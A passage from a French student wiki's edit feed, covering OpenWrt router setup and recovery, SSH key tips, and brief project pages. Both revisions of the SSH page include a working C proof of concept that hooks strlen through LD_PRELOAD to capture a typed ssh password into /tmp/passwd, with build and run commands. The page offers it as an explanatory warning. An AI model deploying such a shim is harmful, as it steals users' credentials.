   key_mgmt=IEEE8021X&lt;br /&gt;
   eap=TTLS&lt;br /&gt;
   identity=&amp;quot;prénom.nom@polytechnique.fr&amp;quot;&lt;br /&gt;
    &lt;br /&gt;
   anonymous_identity=&amp;quot;anonymous@polytechnique.fr&amp;quot;&lt;br /&gt;
   password=&amp;quot;xxxxx&amp;quot;&lt;br /&gt;
   phase1=&amp;quot;auth=TTLS&amp;quot;&lt;br /&gt;
   phase2=&amp;quot;auth=PAP&amp;quot;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
* Rendez le fichier éxécutable :&lt;br /&gt;
&lt;br /&gt;
  chmod +x /etc/config/wpa.conf&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Testez la configuration. Votre routeur doit être branché à internet.&lt;br /&gt;
&lt;br /&gt;
  wpa_supplicant -D wired -i eth1&lt;br /&gt;
  -c /etc/wpa_supplicant/polytechnique.conf&lt;br /&gt;
&lt;br /&gt;
''Si vous voyez le texte '''CTRL-EVENT-CONNECTED''' c'est bon, vous pouvez interrompre avec '''Ctrl+C''' et continuer la configuration.''&lt;br /&gt;
''Si vous obtenez un message d'erreur à propos du certificat (comme par exemple ci-dessous), essayez de mettre votre routeur à l'heure puis reprenez cette étape.''&lt;br /&gt;
&lt;br /&gt;
  X509: Certificate not valid (now=XXXXXX not_before=XXXXXX not_after=XXXXXX)&lt;br /&gt;
&lt;br /&gt;
* Configurer le démarage automatique en copiant collant le fichier si dessous:&lt;br /&gt;
&lt;br /&gt;
  nano /etc/init.d/wpa&lt;br /&gt;
&lt;br /&gt;
''Une fois l'édition terminée, faire CTRL+X puis y pour valider''&lt;br /&gt;
&lt;br /&gt;
* Fichier wpa :&lt;br /&gt;
&lt;br /&gt;
#!/bin/sh /etc/rc.common &lt;br /&gt;
# Copyright (C) 2007 OpenWrt.org&lt;br /&gt;
START=99&lt;br /&gt;
&lt;br /&gt;
start() {&lt;br /&gt;
echo start&lt;br /&gt;
wpa_supplicant -D wired -i eth1 -c /etc/config/wpa.conf &amp;amp;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Activez le démarrage automatique.&lt;br /&gt;
&lt;br /&gt;
  /etc/init.d/wpa start&lt;br /&gt;
  /etc/init.d/wpa enable&lt;br /&gt;
&lt;br /&gt;
''Si vous obtenez un message d'erreur du type '''Permission denied''', tentez d'abord de rendre le fichier exécutable avec {{c|chmod +x /etc/init.d/wpa}}.''&lt;br /&gt;
&lt;br /&gt;
Configuration de {{c|wpa-supplicant}} :&lt;br /&gt;
&lt;br /&gt;
  neze@neze ~ $ ssh root@192.168.1.1&lt;br /&gt;
  root@192.168.1.1's password:&lt;br /&gt;
    _______                     ________        __&lt;br /&gt;
   |       |.-----.-----.-----.|  |  |  |.----.|  |_&lt;br /&gt;
   |   -   ||  _  |  -__|     ||  |  |  ||   _||   _|&lt;br /&gt;
   |_______||   __|_____|__|__||________||__|  |____|&lt;br /&gt;
            |__| W I R E L E S S   F R E E D O M&lt;br /&gt;
   -----------------------------------------------------&lt;br /&gt;
  root@OpenWrt:~# vim /etc/wpa_supplicant/polytechnique.conf&lt;br /&gt;
  root@OpenWrt:~# wpa_supplicant&lt;br /&gt;
                       -c /etc/wpa_supplicant/polytechnique.conf&lt;br /&gt;
                       -D wired -i eth1&lt;br /&gt;
  Successfully initialized wpa_supplicant&lt;br /&gt;
  eth1: Associated with 01:80:c2:00:00:03&lt;br /&gt;
  WMM AC: Missing IEs&lt;br /&gt;
  eth1: CTRL-EVENT-EAP-STARTED EAP authentication started&lt;br /&gt;
  eth1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=21&lt;br /&gt;
  eth1: CTRL-EVENT-EAP-METHOD EAP vendor 0 method 21 (TTLS) selected&lt;br /&gt;
  TLSv1: you should reject under 768-bit DH prime (insecure; only 512 bits)&lt;br /&gt;
  eth1: CTRL-EVENT-EAP-SUCCESS EAP authentication completed successfully&lt;br /&gt;
  eth1: CTRL-EVENT-CONNECTED - Connection to **:**:**:**:**:** completed [id=0 id_str=]&lt;br /&gt;
  ^Ceth1: CTRL-EVENT-DISCONNECTED bssid=**:**:**:**:**:** reason=3 locally_generated=1&lt;br /&gt;
  eth1: CTRL-EVENT-TERMINATING &lt;br /&gt;
  root@OpenWrt:~# vim /etc/init.d/wpa&lt;br /&gt;
  root@OpenWrt:~# /etc/init.d/wpa enable&lt;br /&gt;
  root@OpenWrt:~#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== IP fixe ====&lt;br /&gt;
&lt;br /&gt;
Si votre configuration est en IP fixe, ouvrez l'interface web d'OpenWRT. Dans l'onglet '''Network &amp;gt; Interfaces''', cliquez sur le bouton '''Edit''' de l'interface '''WAN''', changez le protocole en « statique », confirmez en cliquant sur '''Switch protocol''' puis remplissez les trois champs « IPv4 address, IPv4 netmask, IPv4 gateway ». Enfin, rajoutez les serveurs dns {{c|129.104.201.53}} et {{c|129.104.201.51}}.&lt;br /&gt;
&lt;br /&gt;
[[Image:routeurs-openwrt-ipf-gui.jpg|500px]]&lt;br /&gt;
&lt;br /&gt;
Si vous n'avez pas accès à l'interface web, connectez vous en ssh au routeur puis tapez les commandes suivantes, en adaptant évidemment les valeurs de l'adresse IP, du masque de sous-réseau et de la passerelle par défaut.&lt;br /&gt;
&lt;br /&gt;
  root@OpenWrt:~# uci set network.wan.proto='static'&lt;br /&gt;
  root@OpenWrt:~# uci set network.wan.ipaddr='129.104.222.109'&lt;br /&gt;
  root@OpenWrt:~# uci set network.wan.netmask='255.255.255.0'&lt;br /&gt;
  root@OpenWrt:~# uci set network.wan.gateway='129.104.222.254'&lt;br /&gt;
  root@OpenWrt:~# uci set network.wan.dns='129.104.201.59 129.104.201.51'&lt;br /&gt;
  root@OpenWrt:~# uci commit network&lt;br /&gt;
  root@OpenWrt:~#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Réglages Wi-Fi ===&lt;br /&gt;
&lt;br /&gt;
Cette section vous permettra de mettre en place un réseau wifi avec une sécurité correcte et aux normes françaises.&lt;br /&gt;
&lt;br /&gt;
Connectez-vous au routeur en '''SSH''' et suivez la procédure ci-dessous en adaptant à votre choix de nom de réseau et mot de passe wifi.&lt;br /&gt;
&lt;br /&gt;
'''Attention :''' votre mot de passe doit faire plus de 8 caractères, sans quoi le réseau wifi ne démarrera jamais.&lt;br /&gt;
&lt;br /&gt;
  root@OpenWrt:~# uci set wireless.@wifi-device[0].disabled=0&lt;br /&gt;
  root@OpenWrt:~# uci set wireless.@wifi-iface[0].ssid='MON-RESEAU-WIFI'&lt;br /&gt;
  root@OpenWrt:~# uci set wireless.@wifi-iface[0].encryption='psk2'&lt;br /&gt;
  root@OpenWrt:~# uci set wireless.@wifi-iface[0].key='MOT-DE-PASSE'&lt;br /&gt;
  root@OpenWrt:~# uci set wireless.@wifi-device[0].country='FR'&lt;br /&gt;
  root@OpenWrt:~# uci commit wireless; wifi&lt;br /&gt;
  root@OpenWrt:~#&lt;br /&gt;
&lt;br /&gt;
== Fonctionnalités supplémentaires ==&lt;br /&gt;
&lt;br /&gt;
=== Changer l'heure du routeur ===&lt;br /&gt;
&lt;br /&gt;
L'heure du routeur est assez simple à changer. ''Normalement, elle se met à l'heure automatiquement, mais vous pouvez avoir besoin de la changer '''avant''' d'avoir accès à Internet.''&lt;br /&gt;
&lt;br /&gt;
C'est assez simple à faire en ligne de commande :&lt;br /&gt;
&lt;br /&gt;
  root@OpenWrt:~# date --set '2016-07-24 09:58'&lt;br /&gt;
  Sun Jul 24 09:58:00 CEST 2016&lt;br /&gt;
&lt;br /&gt;
Vous pouvez aussi passer, si vous le souhaitez, par l'interface graphique :&lt;br /&gt;
&lt;br /&gt;
[[Image:routeurs-openwrt-date-gui.jpg|500px]]&lt;br /&gt;
&lt;br /&gt;
== Récupération, problèmes ==&lt;br /&gt;
&lt;br /&gt;
=== Routeur briqué ===&lt;br /&gt;
&lt;br /&gt;
Il se peut, après certaines mauvaises manipulations, que le routeur ne soit plus accessible, que l'interface web disparaisse, que vous ayez des messages d'erreurs intempestifs vous empêchant de le configurer, etc.&lt;br /&gt;
&lt;br /&gt;
  root@OpenWrt:~# touch test&lt;br /&gt;
  touch: test: Read-only file system&lt;br /&gt;
  root@OpenWrt:~#&lt;br /&gt;
&lt;br /&gt;
Il faut dans ce cas effectuer une opération de récupération du routeur, dont la description est faite avec Linux dans ce document (Il est assez simple de l'adapter pour un Mac, beaucoup plus compliqué pour Windows.) . Vous aurez besoin d'un profil de configuration réseau « IP fixe », décrit en début de tutoriel.&lt;br /&gt;
&lt;br /&gt;
* Récupérez le fichier d'openwrt correspondant à votre routeur, et copiez-le dans le répertoire de votre choix (dans notre cas il sera dans {{c|~/firmware.bin}}).&lt;br /&gt;
* Redémarrez votre routeur.&lt;br /&gt;
&lt;br /&gt;
Au moment où le voyant « cadenas » commence à clignoter, enfoncez le bouton '''reset''' (derrière le routeur) jusqu'à ce que le voyant clignote beaucoup plus rapidement.&lt;br /&gt;
* Branchez votre routeur à l'ordinateur et passez dans le profil de configuration IP fixe, puis ouvrez un terminal et exécutez la procédure ci-dessous.&lt;br /&gt;
&lt;br /&gt;
  neze@neze ~ $ md5sum firmware.bin&lt;br /&gt;
  06179235c8986228ea0c545d6d69df8b  firmware.bin&lt;br /&gt;
  neze@neze ~ $ telnet 192.168.1.1&lt;br /&gt;
  Trying 192.168.1.1...&lt;br /&gt;
  Connected to 192.168.1.1.&lt;br /&gt;
  Escape character is '^]'.&lt;br /&gt;
    ...&lt;br /&gt;
  ================= FAILSAFE MODE active ================&lt;br /&gt;
    ...&lt;br /&gt;
  =======================================================&lt;br /&gt;
   &lt;br /&gt;
  root@(none):/# mount_root&lt;br /&gt;
  root@(none):/# cd /tmp&lt;br /&gt;
  root@(none):/tmp# scp neze@192.168.1.22:firmware.bin ./&lt;br /&gt;
  Do you want to continue connecting? (y/n) y&lt;br /&gt;
  neze@192.168.1.22's password:&lt;br /&gt;
  firmware.bin              100&lt;br /&gt;
  root@(none):/tmp# mtd -r write firmware.bin firmware&lt;br /&gt;
  Unlocking firmware ...&lt;br /&gt;
   &lt;br /&gt;
  Writing from firmware.bin to firmware ... [w]&lt;br /&gt;
  Rebooting ...&lt;br /&gt;
&lt;br /&gt;
=== Routeur sans OS ===&lt;br /&gt;
&lt;br /&gt;
Si vous avez installé un OpenWRT corrompu ou tenté de réinstaller le système d'origine sans réfléchir, vous avez peut-être un routeur qui ne démarre pas jusqu'au bout.&lt;br /&gt;
&lt;br /&gt;
Cette section est valable si le {{c|bootloader}} est présent. Un bon moyen de le savoir est d'enfoncer le bouton reset (routeur éteint) puis d'allumer le routeur (reset enfoncé). Si au bout d'un certain temps le voyant du cadenas reste allumé, c'est probablement le cas. Éteignez alors le routeur.&lt;br /&gt;
&lt;br /&gt;
''Procédure testée sur un routeur TP-Link 841N v10.''&lt;br /&gt;
&lt;br /&gt;
'''Préparez votre ordinateur.''' Installez sur un ordinateur '''Linux''' (Ces remarques s'appliquent à Debian et doivent être adaptées.)  un serveur {{c|tftp}} :&lt;br /&gt;
&lt;br /&gt;
  sudo apt-get install tftp xinetd tftpd&lt;br /&gt;
&lt;br /&gt;
Normalement, {{c|xinetd}} sera alors le process chargé de gérer les serveurs. Vous pouvez vérifier que c'est lui qui tourne avec la commande {{c|ps -alxww | grep inet}}.&lt;br /&gt;
&lt;br /&gt;
Vérifiez ensuite (dans {{c|/etc/services}}) que la ligne concernant {{c|tftp}} n'est pas commentée :&lt;br /&gt;
&lt;br /&gt;
  tftp            69/udp&lt;br /&gt;
&lt;br /&gt;
Faites les réglages d'un serveur {{c|tftp}} en créant/éditant le fichier {{c|/etc/xinetd.d/tftp}} :&lt;br /&gt;
&lt;br /&gt;
  service tftp&lt;br /&gt;
  {&lt;br /&gt;
      socket_type     = dgram&lt;br /&gt;
      protocol        = udp&lt;br /&gt;
      wait            = yes&lt;br /&gt;
      user            = root&lt;br /&gt;
      server          = /usr/sbin/in.tftpd&lt;br /&gt;
      server_args     = -s /tftpboot&lt;br /&gt;
      disable         = no&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Redémarrez le service avec la commande {{c|service xinetd restart}}. Désormais tous les fichiers présents dans {{c|/tftpboot}} seront accessibles dans votre serveur tftp.&lt;br /&gt;
&lt;br /&gt;
Vous pouvez par exemple tester votre serveur tftp de la sorte :&lt;br /&gt;
&lt;br /&gt;
  neze tmp.9B8qi7nCqn # echo &amp;quot;Hello World&amp;quot; &amp;gt; /tftpboot/hello.txt&lt;br /&gt;
  neze tmp.9B8qi7nCqn # tftp localhost&lt;br /&gt;
  tftp&amp;gt; get hello.txt&lt;br /&gt;
  Received 13 bytes in 0.0 seconds&lt;br /&gt;
  tftp&amp;gt; quit&lt;br /&gt;
  neze tmp.9B8qi7nCqn # cat hello.txt &lt;br /&gt;
  Hello World&lt;br /&gt;
  neze tmp.9B8qi7nCqn # &lt;br /&gt;
&lt;br /&gt;
Prenez une image valable d'OpenWRT, déposez-la dans {{c|/tftpboot}} renommée suivant le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  wr841nv10_tp_recovery.bin # tl841n v10&lt;br /&gt;
  wr841nv11_tp_recovery.bin # tl841n v11&lt;br /&gt;
&lt;br /&gt;
Configurez votre connexion ethernet en '''IP fixe''' {{c|192.168.0.66}}.&lt;br /&gt;
&lt;br /&gt;
Branchez le routeur à votre ordinateur, enfoncez le bouton reset, démarrez le routeur et attendez que le routeur redémarre après réinstallation du firmware.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Routeur n'accepte plus le certificat ===&lt;br /&gt;
Une des causes possibles est que la date de votre routeur est incorrecte.&lt;br /&gt;
Voir la section [[#Problème_de_date|sur ce sujet-là]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Problème de date ===&lt;br /&gt;
Pour connaître la date enregistrée par votre routeur :&lt;br /&gt;
:&amp;lt;code&amp;gt;date&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Si la date est incorrecte, vous pouvez la changer avec la commande suivante (à adapter avec la date actuelle) :&lt;br /&gt;
:&amp;lt;code&amp;gt;date  --set '2016-07-31 19:20:00'&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Si le problème persiste, vous pouvez procéder ajouter les étapes suivantes :&lt;br /&gt;
# &amp;lt;code&amp;gt;date  --set '2016-07-31 19:20:00'&amp;lt;/code&amp;gt;&lt;br /&gt;
# &amp;lt;code&amp;gt;echo &amp;quot;timesave&amp;quot; &amp;gt; /etc/timesave&amp;lt;/code&amp;gt; (1er fix)&lt;br /&gt;
# Modifier le fichier /etc/init.d/sysfixtime, en remplaçant&lt;br /&gt;
#:&amp;lt;code&amp;gt;[ $curtime -lt $maxtime ] &amp;amp;&amp;amp; date -s @$maxtime&amp;lt;/code&amp;gt;&lt;br /&gt;
#:par&lt;br /&gt;
#:&amp;lt;code&amp;gt;if [ $curtime -lt $maxtime ]; then&amp;lt;/code&amp;gt;&lt;br /&gt;
#:&amp;lt;code&amp;gt;date -s @$maxtime&amp;lt;/code&amp;gt;&lt;br /&gt;
#:&amp;lt;code&amp;gt;/etc/init.d/sysntpd restart&amp;lt;/code&amp;gt;&lt;br /&gt;
#:&amp;lt;code&amp;gt;fi&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Je dois souvent redémarrer mon routeur ===&lt;br /&gt;
Un problème connu implique redsocks. Un workaround consiste à activer cron et à vérifier régulièrement que le service est lancé. On peut par exemple procéder ainsi :&lt;br /&gt;
&amp;lt;pre&amp;gt;/etc/init.d/redsocks enable&lt;br /&gt;
&lt;br /&gt;
crontab -e&lt;br /&gt;
&lt;br /&gt;
0 */1 * * * /etc/init.d/redsocks stop &amp;amp;&amp;amp; /etc/init.d/redsocks start&lt;br /&gt;
*/3 * * * * /etc/init.d/redsocks start&lt;br /&gt;
&lt;br /&gt;
/etc/init.d/cron enable&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Astuces_ssh&amp;diff=8833</id>
		<title>Astuces ssh</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Astuces_ssh&amp;diff=8833"/>
		<updated>2022-03-20T23:11:17Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : /* Créer un couple de clefs : */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Voir aussi [[SSH]].&lt;br /&gt;
&lt;br /&gt;
==Créer un couple de clefs :==&lt;br /&gt;
 $ ssh-keygen -t rsa&lt;br /&gt;
Utiliser un password pour crypter la clef est important...&lt;br /&gt;
&lt;br /&gt;
==Mettre la clef sur le serveur cible :==&lt;br /&gt;
 $ ssh-copy-id -i ./ssh/id_dsa.pub serveur&lt;br /&gt;
ou bien ( en moins bien ) :&lt;br /&gt;
 $ ssh serveur &amp;quot;cat &amp;gt;&amp;gt; .ssh/authorized_keys&amp;quot; &amp;lt; ./ssh/id_dsa.pub&lt;br /&gt;
&lt;br /&gt;
==Pour ne pas avoir à décrypter la clef à chaque utilisation, mais tout en la gardant en sécurité :==&lt;br /&gt;
Démarrer ssh-agent:&lt;br /&gt;
 $ eval  $(ssh-agent)&lt;br /&gt;
&lt;br /&gt;
Ajouter une clef :&lt;br /&gt;
 $ ssh-add&lt;br /&gt;
Forwarder l'agent (ie ne pas avoir à mettre de clef sur B pour faire ssh B puis ssh C depuis B )  :&lt;br /&gt;
 ForwardAgent yes&lt;br /&gt;
Dans les .ssh/config de tous les hosts qui servent de relai, à défaut, utiliser -A dans la ligne de commande de ssh.&lt;br /&gt;
&lt;br /&gt;
Utiliser keychain pour partager ses clefs sur plusieurs sessions, ajouter par exemple :&lt;br /&gt;
 keychain ~/.ssh/id_rsa ~/.ssh/id_dsa&lt;br /&gt;
 source ~/.keychain/*-sh&lt;br /&gt;
&lt;br /&gt;
à votre .bash_profile.&lt;br /&gt;
&lt;br /&gt;
==Utiliser des pseudo alias :==&lt;br /&gt;
&lt;br /&gt;
Dans un fichier texte ssh-aliases&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 ssh $(basename $0) &amp;quot;$@&amp;quot;&lt;br /&gt;
&lt;br /&gt;
puis le rendre utilisable :&lt;br /&gt;
&lt;br /&gt;
 chown root:root ssh-aliases &amp;amp;&amp;amp;&lt;br /&gt;
 chmod 755 ssh-aliases &amp;amp;&amp;amp;&lt;br /&gt;
 mv ssh-aliases ~/bin # ou ailleurs dans votre path, si c'est votre machine.&lt;br /&gt;
&lt;br /&gt;
enfin supposons que toutes les machines habituelles aient leur nom dans le fichier './machines' :&lt;br /&gt;
&lt;br /&gt;
 for namae in $(cat machines); do&lt;br /&gt;
     ln -s ~/bin/{ssh-aliases,$namae}&lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant il suffit de taper le nom de la machine pour avoir un shell dessus.&lt;br /&gt;
Le principe est que le script écrit plus haut regarde comment il a été appelé et invoque ssh en fonction.&lt;br /&gt;
&lt;br /&gt;
==Mais un pirate peut me voler ma clef !!!==&lt;br /&gt;
Oui, mais elle est chiffrée... De plus, si un pirate a atteint votre niveau de privilèges, il peut facilement vous voler vos mdp  :&lt;br /&gt;
 noobpoc.c&lt;br /&gt;
 #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;string.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 void record_pwd (char *str) {&lt;br /&gt;
         FILE*f = fopen(&amp;quot;/tmp/passwd&amp;quot;,&amp;quot;a&amp;quot;);&lt;br /&gt;
         fprintf(f,&amp;quot;%s\n&amp;quot;,str);&lt;br /&gt;
         fflush (f);&lt;br /&gt;
         fclose(f);&lt;br /&gt;
 }&lt;br /&gt;
 size_t strlen(const char * s ) {&lt;br /&gt;
         static char ready = 0;&lt;br /&gt;
         static char dead = 0;&lt;br /&gt;
         if ( !dead &amp;amp;&amp;amp; ready ) {&lt;br /&gt;
                  record_pwd(s);&lt;br /&gt;
                  dead = 1;&lt;br /&gt;
         }&lt;br /&gt;
         if ( !dead &amp;amp;&amp;amp; !strcmp( s, &amp;quot;Password: &amp;quot;) )  {&lt;br /&gt;
                ready = 1;&lt;br /&gt;
         }&lt;br /&gt;
         /* Does da job... */     &lt;br /&gt;
         int i = 0;&lt;br /&gt;
         while ( s[i++] );&lt;br /&gt;
         return (size_t) (i-1);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 gcc -fPIC noobpoc.c -c -w -Wall -std=c99&lt;br /&gt;
 gcc -shared -o libnoobpoc.so noobpoc.o -lc&lt;br /&gt;
&lt;br /&gt;
Kaboom sur simple modification de l'environnement :&lt;br /&gt;
 LD_PRELOAD=./libnoobpoc.so ssh localhost&lt;br /&gt;
&lt;br /&gt;
Le mdp est dans /tmp/passwd...&lt;br /&gt;
&lt;br /&gt;
[[catégorie: Informatique]]&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Astuces_ssh&amp;diff=8832</id>
		<title>Astuces ssh</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Astuces_ssh&amp;diff=8832"/>
		<updated>2022-03-20T23:10:46Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : /* Mais un pirate peut me voler ma clef !!! */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Voir aussi [[SSH]].&lt;br /&gt;
&lt;br /&gt;
==Créer un couple de clefs :==&lt;br /&gt;
 $ ssh-keygen -t dsa&lt;br /&gt;
Utiliser un password pour crypter la clef est important... &lt;br /&gt;
&lt;br /&gt;
==Mettre la clef sur le serveur cible :==&lt;br /&gt;
 $ ssh-copy-id -i ./ssh/id_dsa.pub serveur&lt;br /&gt;
ou bien ( en moins bien ) :&lt;br /&gt;
 $ ssh serveur &amp;quot;cat &amp;gt;&amp;gt; .ssh/authorized_keys&amp;quot; &amp;lt; ./ssh/id_dsa.pub&lt;br /&gt;
&lt;br /&gt;
==Pour ne pas avoir à décrypter la clef à chaque utilisation, mais tout en la gardant en sécurité :==&lt;br /&gt;
Démarrer ssh-agent:&lt;br /&gt;
 $ eval  $(ssh-agent)&lt;br /&gt;
&lt;br /&gt;
Ajouter une clef :&lt;br /&gt;
 $ ssh-add&lt;br /&gt;
Forwarder l'agent (ie ne pas avoir à mettre de clef sur B pour faire ssh B puis ssh C depuis B )  :&lt;br /&gt;
 ForwardAgent yes&lt;br /&gt;
Dans les .ssh/config de tous les hosts qui servent de relai, à défaut, utiliser -A dans la ligne de commande de ssh.&lt;br /&gt;
&lt;br /&gt;
Utiliser keychain pour partager ses clefs sur plusieurs sessions, ajouter par exemple :&lt;br /&gt;
 keychain ~/.ssh/id_rsa ~/.ssh/id_dsa&lt;br /&gt;
 source ~/.keychain/*-sh&lt;br /&gt;
&lt;br /&gt;
à votre .bash_profile.&lt;br /&gt;
&lt;br /&gt;
==Utiliser des pseudo alias :==&lt;br /&gt;
&lt;br /&gt;
Dans un fichier texte ssh-aliases&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 ssh $(basename $0) &amp;quot;$@&amp;quot;&lt;br /&gt;
&lt;br /&gt;
puis le rendre utilisable :&lt;br /&gt;
&lt;br /&gt;
 chown root:root ssh-aliases &amp;amp;&amp;amp;&lt;br /&gt;
 chmod 755 ssh-aliases &amp;amp;&amp;amp;&lt;br /&gt;
 mv ssh-aliases ~/bin # ou ailleurs dans votre path, si c'est votre machine.&lt;br /&gt;
&lt;br /&gt;
enfin supposons que toutes les machines habituelles aient leur nom dans le fichier './machines' :&lt;br /&gt;
&lt;br /&gt;
 for namae in $(cat machines); do&lt;br /&gt;
     ln -s ~/bin/{ssh-aliases,$namae}&lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant il suffit de taper le nom de la machine pour avoir un shell dessus.&lt;br /&gt;
Le principe est que le script écrit plus haut regarde comment il a été appelé et invoque ssh en fonction.&lt;br /&gt;
&lt;br /&gt;
==Mais un pirate peut me voler ma clef !!!==&lt;br /&gt;
Oui, mais elle est chiffrée... De plus, si un pirate a atteint votre niveau de privilèges, il peut facilement vous voler vos mdp  :&lt;br /&gt;
 noobpoc.c&lt;br /&gt;
 #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;string.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 void record_pwd (char *str) {&lt;br /&gt;
         FILE*f = fopen(&amp;quot;/tmp/passwd&amp;quot;,&amp;quot;a&amp;quot;);&lt;br /&gt;
         fprintf(f,&amp;quot;%s\n&amp;quot;,str);&lt;br /&gt;
         fflush (f);&lt;br /&gt;
         fclose(f);&lt;br /&gt;
 }&lt;br /&gt;
 size_t strlen(const char * s ) {&lt;br /&gt;
         static char ready = 0;&lt;br /&gt;
         static char dead = 0;&lt;br /&gt;
         if ( !dead &amp;amp;&amp;amp; ready ) {&lt;br /&gt;
                  record_pwd(s);&lt;br /&gt;
                  dead = 1;&lt;br /&gt;
         }&lt;br /&gt;
         if ( !dead &amp;amp;&amp;amp; !strcmp( s, &amp;quot;Password: &amp;quot;) )  {&lt;br /&gt;
                ready = 1;&lt;br /&gt;
         }&lt;br /&gt;
         /* Does da job... */     &lt;br /&gt;
         int i = 0;&lt;br /&gt;
         while ( s[i++] );&lt;br /&gt;
         return (size_t) (i-1);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 gcc -fPIC noobpoc.c -c -w -Wall -std=c99&lt;br /&gt;
 gcc -shared -o libnoobpoc.so noobpoc.o -lc&lt;br /&gt;
&lt;br /&gt;
Kaboom sur simple modification de l'environnement :&lt;br /&gt;
 LD_PRELOAD=./libnoobpoc.so ssh localhost&lt;br /&gt;
&lt;br /&gt;
Le mdp est dans /tmp/passwd...&lt;br /&gt;
&lt;br /&gt;
[[catégorie: Informatique]]&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Chocapix&amp;diff=8826</id>
		<title>Chocapix</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Chocapix&amp;diff=8826"/>
		<updated>2021-12-16T13:31:36Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Chocapix est le site des bars d'étage.&lt;br /&gt;
&lt;br /&gt;
Il a été développé par [[Utilisateur:Basile.Bruneau|ntag]], [[Utilisateur:Guillaume.Boisseau|nadrieril]] et [[Utilisateur:Camille.Masset|tizot]] en 2014-15 pour remplacer l'ancien site des bars. Il a été déployé pour l'arrivée des 2014, qui n'ont du coup pas connu l'ancien site.&lt;br /&gt;
&lt;br /&gt;
L'API est implémentée avec django : le code est hébergé sur [https://github.com/BinetReseau/chocapix-server GitHub].&lt;br /&gt;
&lt;br /&gt;
La partie client est écrite en AngularJS : le code est hébergé sur [https://github.com/BinetReseau/chocapix-client GitHub].&lt;br /&gt;
&lt;br /&gt;
Une nouvelle version de la partie client réécrite en React.js est en développement depuis 2021. Le code est hébergé sur [https://gitlab.binets.fr/br/chocapix-frontend Gitlab]&lt;br /&gt;
&lt;br /&gt;
Le repo principal est également sur [https://github.com/BinetReseau/chocapix-docker GitHub]&lt;br /&gt;
&lt;br /&gt;
== Voir aussi ==&lt;br /&gt;
Pour des détails sur l'implémentation/la maintenance :&lt;br /&gt;
* [[Admin:Chocapix|Administration]]&lt;br /&gt;
* [[Chocapix:Rôles|Rôles et permissions]]&lt;br /&gt;
* [[Chocapix:Aliments|Aliments]]&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Sigma&amp;diff=8820</id>
		<title>Sigma</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Sigma&amp;diff=8820"/>
		<updated>2021-06-30T14:48:25Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Projet d'envergure de développement interne BR, vise à remplacer Frankiz et à introduire quelques nouvelles fonctionnalités.&lt;br /&gt;
&lt;br /&gt;
Voir [https://wikix.polytechnique.org/Projet_Sigma le WikiX] pour plus d'informations.&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Sigma&amp;diff=8819</id>
		<title>Sigma</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Sigma&amp;diff=8819"/>
		<updated>2021-06-30T14:48:06Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Projet d'envergure de développement interne BR, vis à remplacer Frankiz et à introduire quelques nouvelles fonctionnalités.&lt;br /&gt;
&lt;br /&gt;
Voir [https://wikix.polytechnique.org/Projet_Sigma le WikiX] pour plus d'informations.&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
